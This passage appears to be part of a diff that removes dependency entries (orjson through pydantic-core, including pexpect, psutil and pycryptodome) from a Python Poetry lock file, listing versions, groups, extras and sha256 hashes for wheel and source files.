"orjson-3.11.8.tar.gz", hash = "sha256:96163d9cdc5a202703e9ad1b9ae757d5f0ca62f4fa0cc93d1f27b0e180cc404e"}, -] - -[[package]] -name = "packaging" -version = "26.1" -description = "Core utilities for Python packages" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev", "docs"] -files = [ - {file = "packaging-26.1-py3-none-any.whl", hash = "sha256:5d9c0669c6285e491e0ced2eee587eaf67b670d94a19e94e3984a481aba6802f"}, - {file = "packaging-26.1.tar.gz", hash = "sha256:f042152b681c4bfac5cae2742a55e103d27ab2ec0f3d88037136b6bfe7c9c5de"}, -] - -[[package]] -name = "paginate" -version = "0.5.7" -description = "Divides large result sets into pages for easier browsing" -optional = false -python-versions = "*" -groups = ["docs"] -files = [ - {file = "paginate-0.5.7-py2.py3-none-any.whl", hash = "sha256:b885e2af73abcf01d9559fd5216b57ef722f8c42affbb63942377668e35c7591"}, - {file = "paginate-0.5.7.tar.gz", hash = "sha256:22bd083ab41e1a8b4f3690544afb2c60c25e5c9a63a30fa2f483f6c60c8e5945"}, -] - -[package.extras] -dev = ["pytest", "tox"] -lint = ["black"] - -[[package]] -name = "pathspec" -version = "1.1.0" -description = "Utility library for gitignore style pattern matching of file paths." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "pathspec-1.1.0-py3-none-any.whl", hash = "sha256:574b128f7456bd899045ccd142dd446af7e6cfd0072d63ad73fbc55fbb4aaa42"}, - {file = "pathspec-1.1.0.tar.gz", hash = "sha256:f5d7c555da02fd8dde3e4a2354b6aba817a89112fa8f333f7917a2a4834dd080"}, -] - -[package.extras] -hyperscan = ["hyperscan (>=0.7)"] -optional = ["typing-extensions (>=4)"] -re2 = ["google-re2 (>=1.1)"] - -[[package]] -name = "pexpect" -version = "4.9.0" -description = "Pexpect allows easy control of interactive console applications." -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523"}, - {file = "pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f"}, -] - -[package.dependencies] -ptyprocess = ">=0.5" - -[[package]] -name = "pip" -version = "26.0.1" -description = "The PyPA recommended tool for installing Python packages." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pip-26.0.1-py3-none-any.whl", hash = "sha256:bdb1b08f4274833d62c1aa29e20907365a2ceb950410df15fc9521bad440122b"}, - {file = "pip-26.0.1.tar.gz", hash = "sha256:c4037d8a277c89b320abe636d59f91e6d0922d08a05b60e85e53b296613346d8"}, -] - -[[package]] -name = "platformdirs" -version = "4.9.6" -description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`." -optional = false -python-versions = ">=3.10" -groups = ["dev", "docs"] -files = [ - {file = "platformdirs-4.9.6-py3-none-any.whl", hash = "sha256:e61adb1d5e5cb3441b4b7710bea7e4c12250ca49439228cc1021c00dcfac0917"}, - {file = "platformdirs-4.9.6.tar.gz", hash = "sha256:3bfa75b0ad0db84096ae777218481852c0ebc6c727b3168c1b9e0118e458cf0a"}, -] - -[[package]] -name = "pluggy" -version = "1.6.0" -description = "plugin and hook calling mechanisms for python" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746"}, - {file = "pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3"}, -] - -[package.extras] -dev = ["pre-commit", "tox"] -testing = ["coverage", "pytest", "pytest-benchmark"] - -[[package]] -name = "pre-commit" -version = "4.6.0" -description = "A framework for managing and maintaining multi-language pre-commit hooks." -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "pre_commit-4.6.0-py2.py3-none-any.whl", hash = "sha256:e2cf246f7299edcabcf15f9b0571fdce06058527f0a06535068a86d38089f29b"}, - {file = "pre_commit-4.6.0.tar.gz", hash = "sha256:718d2208cef53fdc38206e40524a6d4d9576d103eb16f0fec11c875e7716e9d9"}, -] - -[package.dependencies] -cfgv = ">=2.0.0" -identify = ">=1.0.0" -nodeenv = ">=0.11.1" -pyyaml = ">=5.1" -virtualenv = ">=20.10.0" - -[[package]] -name = "psutil" -version = "7.2.2" -description = "Cross-platform lib for process and system monitoring." -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b"}, - {file = "psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea"}, - {file = "psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63"}, - {file = "psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312"}, - {file = "psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b"}, - {file = "psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9"}, - {file = "psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00"}, - {file = "psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9"}, - {file = "psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a"}, - {file = "psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf"}, - {file = "psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1"}, - {file = "psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841"}, - {file = "psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486"}, - {file = "psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979"}, - {file = "psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9"}, - {file = "psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e"}, - {file = "psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8"}, - {file = "psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc"}, - {file = "psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988"}, - {file = "psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee"}, - {file = "psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372"}, -] - -[package.extras] -dev = ["abi3audit", "black", "check-manifest", "colorama ; os_name == \"nt\"", "coverage", "packaging", "psleak", "pylint", "pyperf", "pypinfo", "pyreadline3 ; os_name == \"nt\"", "pytest", "pytest-cov", "pytest-instafail", "pytest-xdist", "pywin32 ; os_name == \"nt\" and implementation_name != \"pypy\"", "requests", "rstcheck", "ruff", "setuptools", "sphinx", "sphinx_rtd_theme", "toml-sort", "twine", "validate-pyproject[all]", "virtualenv", "vulture", "wheel", "wheel ; os_name == \"nt\" and implementation_name != \"pypy\"", "wmi ; os_name == \"nt\" and implementation_name != \"pypy\""] -test = ["psleak", "pytest", "pytest-instafail", "pytest-xdist", "pywin32 ; os_name == \"nt\" and implementation_name != \"pypy\"", "setuptools", "wheel ; os_name == \"nt\" and implementation_name != \"pypy\"", "wmi ; os_name == \"nt\" and implementation_name != \"pypy\""] - -[[package]] -name = "ptyprocess" -version = "0.7.0" -description = "Run a subprocess in a pseudo terminal" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35"}, - {file = "ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220"}, -] - -[[package]] -name = "puremagic" -version = "1.30" -description = "Pure python implementation of magic file detection" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "puremagic-1.30-py3-none-any.whl", hash = "sha256:5eeeb2dd86f335b9cfe8e205346612197af3500c6872dffebf26929f56e9d3c1"}, - {file = "puremagic-1.30.tar.gz", hash = "sha256:f9ff7ac157d54e9cf3bff1addfd97233548e75e685282d84ae11e7ffee1614c9"}, -] - -[[package]] -name = "py-cpuinfo" -version = "9.0.0" -description = "Get CPU info with pure Python" -optional = false -python-versions = "*" -groups = ["dev"] -files = [ - {file = "py-cpuinfo-9.0.0.tar.gz", hash = "sha256:3cdbbf3fac90dc6f118bfd64384f309edeadd902d7c8fb17f02ffa1fc3f49690"}, - {file = "py_cpuinfo-9.0.0-py3-none-any.whl", hash = "sha256:859625bc251f64e21f077d099d4162689c762b5d6a4c3c97553d56241c9674d5"}, -] - -[[package]] -name = "pycparser" -version = "3.0" -description = "C parser in Python" -optional = false -python-versions = ">=3.10" -groups = ["main"] -markers = "platform_python_implementation != \"PyPy\" and implementation_name != \"PyPy\" or implementation_name == \"pypy\"" -files = [ - {file = "pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992"}, - {file = "pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29"}, -] - -[[package]] -name = "pycryptodome" -version = "3.23.0" -description = "Cryptographic library for Python" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" -groups = ["main"] -files = [ - {file = "pycryptodome-3.23.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a176b79c49af27d7f6c12e4b178b0824626f40a7b9fed08f712291b6d54bf566"}, - {file = "pycryptodome-3.23.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:573a0b3017e06f2cffd27d92ef22e46aa3be87a2d317a5abf7cc0e84e321bd75"}, - {file = "pycryptodome-3.23.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:63dad881b99ca653302b2c7191998dd677226222a3f2ea79999aa51ce695f720"}, - {file = "pycryptodome-3.23.0-cp27-cp27m-win32.whl", hash = "sha256:b34e8e11d97889df57166eda1e1ddd7676da5fcd4d71a0062a760e75060514b4"}, - {file = "pycryptodome-3.23.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:7ac1080a8da569bde76c0a104589c4f414b8ba296c0b3738cf39a466a9fb1818"}, - {file = "pycryptodome-3.23.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:6fe8258e2039eceb74dfec66b3672552b6b7d2c235b2dfecc05d16b8921649a8"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:0011f7f00cdb74879142011f95133274741778abba114ceca229adbf8e62c3e4"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:90460fc9e088ce095f9ee8356722d4f10f86e5be06e2354230a9880b9c549aae"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4764e64b269fc83b00f682c47443c2e6e85b18273712b98aa43bcb77f8570477"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8f24adb74984aa0e5d07a2368ad95276cf38051fe2dc6605cbcf482e04f2a7"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d97618c9c6684a97ef7637ba43bdf6663a2e2e77efe0f863cce97a76af396446"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9a53a4fe5cb075075d515797d6ce2f56772ea7e6a1e5e4b96cf78a14bac3d265"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:763d1d74f56f031788e5d307029caef067febf890cd1f8bf61183ae142f1a77b"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:954af0e2bd7cea83ce72243b14e4fb518b18f0c1649b576d114973e2073b273d"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-win32.whl", hash = "sha256:257bb3572c63ad8ba40b89f6fc9d63a2a628e9f9708d31ee26560925ebe0210a"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-win_amd64.whl", hash = "sha256:6501790c5b62a29fcb227bd6b62012181d886a767ce9ed03b303d1f22eb5c625"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9a77627a330ab23ca43b48b130e202582e91cc69619947840ea4d2d1be21eb39"}, - {file = "pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:187058ab80b3281b1de11c2e6842a357a1f71b42cb1e15bce373f3d238135c27"}, - {file = "pycryptodome-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cfb5cd445280c5b0a4e6187a7ce8de5a07b5f3f897f235caa11f1f435f182843"}, - {file = "pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67bd81fcbe34f43ad9422ee8fd4843c8e7198dd88dd3d40e6de42ee65fbe1490"}, - {file = "pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c8987bd3307a39bc03df5c8e0e3d8be0c4c3518b7f044b0f4c15d1aa78f52575"}, - {file = "pycryptodome-3.23.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aa0698f65e5b570426fc31b8162ed4603b0c2841cbb9088e2b01641e3065915b"}, - {file = "pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:53ecbafc2b55353edcebd64bf5da94a2a2cdf5090a6915bcca6eca6cc452585a"}, - {file = "pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:156df9667ad9f2ad26255926524e1c136d6664b741547deb0a86a9acf5ea631f"}, - {file = "pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:dea827b4d55ee390dc89b2afe5927d4308a8b538ae91d9c6f7a5090f397af1aa"}, - {file = "pycryptodome-3.23.0-cp37-abi3-win32.whl", hash = "sha256:507dbead45474b62b2bbe318eb1c4c8ee641077532067fec9c1aa82c31f84886"}, - {file = "pycryptodome-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:c75b52aacc6c0c260f204cbdd834f76edc9fb0d8e0da9fbf8352ef58202564e2"}, - {file = "pycryptodome-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:11eeeb6917903876f134b56ba11abe95c0b0fd5e3330def218083c7d98bbcb3c"}, - {file = "pycryptodome-3.23.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:350ebc1eba1da729b35ab7627a833a1a355ee4e852d8ba0447fafe7b14504d56"}, - {file = "pycryptodome-3.23.0-pp27-pypy_73-win32.whl", hash = "sha256:93837e379a3e5fd2bb00302a47aee9fdf7940d83595be3915752c74033d17ca7"}, - {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ddb95b49df036ddd264a0ad246d1be5b672000f12d6961ea2c267083a5e19379"}, - {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e95564beb8782abfd9e431c974e14563a794a4944c29d6d3b7b5ea042110b4"}, - {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14e15c081e912c4b0d75632acd8382dfce45b258667aa3c67caf7a4d4c13f630"}, - {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7fc76bf273353dc7e5207d172b83f569540fc9a28d63171061c42e361d22353"}, - {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:45c69ad715ca1a94f778215a11e66b7ff989d792a4d63b68dc586a1da1392ff5"}, - {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:865d83c906b0fc6a59b510deceee656b6bc1c4fa0d82176e2b77e97a420a996a"}, - {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89d4d56153efc4d81defe8b65fd0821ef8b2d5ddf8ed19df31ba2f00872b8002"}, - {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3f2d0aaf8080bda0587d58fc9fe4766e012441e2eed4269a77de6aea981c8be"}, - {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:64093fc334c1eccfd3933c134c4457c34eaca235eeae49d69449dc4728079339"}, - {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:ce64e84a962b63a47a592690bdc16a7eaf709d2c2697ababf24a0def566899a6"}, - {file = "pycryptodome-3.23.0.tar.gz", hash = "sha256:447700a657182d60338bab09fdb27518f8856aecd80ae4c6bdddb67ff5da44ef"}, -] - -[[package]] -name = "pydantic" -version = "2.13.3" -description = "Data validation using Python type hints" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -files = [ - {file = "pydantic-2.13.3-py3-none-any.whl", hash = "sha256:6db14ac8dfc9a1e57f87ea2c0de670c251240f43cb0c30a5130e9720dc612927"}, - {file = "pydantic-2.13.3.tar.gz", hash = "sha256:af09e9d1d09f4e7fe37145c1f577e1d61ceb9a41924bf0094a36506285d0a84d"}, -] - -[package.dependencies] -annotated-types = ">=0.6.0" -pydantic-core = "2.46.3" -typing-extensions = ">=4.14.1" -typing-inspection = ">=0.4.2" - -[package.extras] -email = ["email-validator (>=2.0.0)"] -timezone = ["tzdata ; python_version >= \"3.9\" and platform_system == \"Windows\""] - -[[package]] -name = "pydantic-core" -version = "2.46.3" -description = "Core functionality for Pydantic validation and serialization" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -files = [ - {file = "pydantic_core-2.46.3-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:1da3786b8018e60349680720158cc19161cc3b4bdd815beb0a321cd5ce1ad5b1"}, - {file = "pydantic_core-2.46.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:cc0988cb29d21bf4a9d5cf2ef970b5c0e38d8d8e107a493278c05dc6c1dda69f"}, - {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:27f9067c3bfadd04c55484b89c0d267981b2f3512850f6f66e1e74204a4e4ce3"}, - {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a642ac886ecf6402d9882d10c405dcf4b902abeb2972cd5fb4a48c83cd59279a"}, - {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:79f561438481f28681584b89e2effb22855e2179880314bcddbf5968e935e807"}, - {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:57a973eae4665352a47cf1a99b4ee864620f2fe663a217d7a8da68a1f3a5bfda"}, - {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:83d002b97072a53ea150d63e0a3adfae5670cef5aa8a6e490240e482d3b22e57"}, - {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b40ddd51e7c44b28cfaef746c9d3c506d658885e0a46f9eeef2ee815cbf8e045"}, - {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ac5ec7fb9b87f04ee839af2d53bcadea57ded7d229719f56c0ed895bff987943"}, - {file = "pydantic_core-2.46.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a3b11c812f61b3129c4905781a2601dfdfdea5fe1e6c1cfb696b55d14e9c054f"}, - {file = "pydantic_core-2.46.3-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:1108da631e602e5b3c38d6d04fe5bb3bfa54349e6918e3ca6cf570b2e2b2f9d4"}, - {file = "pydantic_core-2.46.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:de885175515bcfa98ae618c1df7a072f13d179f81376c8007112af20567fd08a"}, - {file = "pydantic_core-2.46.3-cp310-cp310-win32.whl", hash = "sha256:d11058e3201527d41bc6b545c79187c9e4bf85e15a236a6007f0e991518882b7"}, - {file = "pydantic_core-2.46.3-cp310-cp310-win_amd64.whl", hash = "sha256:3612edf65c8ea67ac13616c4d23af12faef1ae435a8a93e5934c2a0cbbdd1fd6"}, - {file = "pydantic_core-2.46.3-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:ab124d49d0459b2373ecf54118a45c28a1e6d4192a533fbc915e70f556feb8e5"}, - {file = "pydantic_core-2.46.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cca67d52a5c7a16aed2b3999e719c4bcf644074eac304a5d3d62dd70ae7d4b2c"}, - {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c024e08c0ba23e6fd68c771a521e9d6a792f2ebb0fa734296b36394dc30390e"}, - {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6645ce7eec4928e29a1e3b3d5c946621d105d3e79f0c9cddf07c2a9770949287"}, - {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a712c7118e6c5ea96562f7b488435172abb94a3c53c22c9efc1412264a45cbbe"}, - {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:69a868ef3ff206343579021c40faf3b1edc64b1cc508ff243a28b0a514ccb050"}, - {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc7e8c32db809aa0f6ea1d6869ebc8518a65d5150fdfad8bcae6a49ae32a22e2"}, - {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:3481bd1341dc85779ee506bc8e1196a277ace359d89d28588a9468c3ecbe63fa"}, - {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8690eba565c6d68ffd3a8655525cbdd5246510b44a637ee2c6c03a7ebfe64d3c"}, - {file = "pydantic_core-2.46.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4de88889d7e88d50d40ee5b39d5dac0bcaef9ba91f7e536ac064e6b2834ecccf"}, - {file = "pydantic_core-2.46.3-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:e480080975c1ef7f780b8f99ed72337e7cc5efea2e518a20a692e8e7b278eb8b"}, - {file = "pydantic_core-2.46.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:de3a5c376f8cd94da9a1b8fd3dd1c16c7a7b216ed31dc8ce9fd7a22bf13b836e"}, - {file = "pydantic_core-2.46.3-cp311-cp311-win32.whl", hash = "sha256:fc331a5314ffddd5385b9ee9d0d2fee0b13c27e0e02dad71b1ae5d6561f51eeb"}, - {file = "pydantic_core-2.46.3-cp311-cp311-win_amd64.whl", hash = "sha256:b5b9c6cf08a8a5e502698f5e153056d12c34b8fb30317e0c5fd06f45162a6346"}, - {file = "pydantic_core-2.46.3-cp311-cp311-win_arm64.whl", hash = "sha256:5dfd51cf457482f04ec49491811a2b8fd5b843b64b11eecd2d7a1ee596ea78a6"}, - {file = "pydantic_core-2.46.3-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:b11b59b3eee90a80a36701ddb4576d9ae31f93f05cb9e277ceaa09e6bf074a67"}, - {file = "pydantic_core-2.46.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:af8653713055ea18a3abc1537fe2ebc42f5b0bbb768d1eb79fd74eb47c0ac089"}, - {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:75a519dab6d63c514f3a81053e5266c549679e4aa88f6ec57f2b7b854aceb1b0"}, - {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6cd87cb1575b1ad05ba98894c5b5c96411ef678fa2f6ed2576607095b8d9789"}, - {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f80a55484b8d843c8ada81ebf70a682f3f00a3d40e378c06cf17ecb44d280d7d"}, - {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3861f1731b90c50a3266316b9044f5c9b405eecb8e299b0a7120596334e4fe9c"}, - {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fb528e295ed31570ac3dcc9bfdd6e0150bc11ce6168ac87a8082055cf1a67395"}, - {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:367508faa4973b992b271ba1494acaab36eb7e8739d1e47be5035fb1ea225396"}, - {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5ad3c826fe523e4becf4fe39baa44286cff85ef137c729a2c5e269afbfd0905d"}, - {file = "pydantic_core-2.46.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:ec638c5d194ef8af27db69f16c954a09797c0dc25015ad6123eb2c73a4d271ca"}, - {file = "pydantic_core-2.46.3-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:28ed528c45446062ee66edb1d33df5d88828ae167de76e773a3c7f64bd14e976"}, - {file = "pydantic_core-2.46.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aed19d0c783886d5bd86d80ae5030006b45e28464218747dcf83dabfdd092c7b"}, - {file = "pydantic_core-2.46.3-cp312-cp312-win32.whl", hash = "sha256:06d5d8820cbbdb4147578c1fe7ffcd5b83f34508cb9f9ab76e807be7db6ff0a4"}, - {file = "pydantic_core-2.46.3-cp312-cp312-win_amd64.whl", hash = "sha256:c3212fda0ee959c1dd04c60b601ec31097aaa893573a3a1abd0a47bcac2968c1"}, - {file = "pydantic_core-2.46.3-cp312-cp312-win_arm64.whl", hash = "sha256:f1f8338dd7a7f31761f1f1a3c47503a9a3b34eea3c8b01fa6ee96408affb5e72"}, - {file = "pydantic_core-2.46.3-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:12bc98de041458b80c86c56b24df1d23832f3e166cbaff011f25d187f5c62c37"}, - {file = "pydantic_core-2.46.3-cp313-cp313-macosx_11_0_arm64.whl", hash = 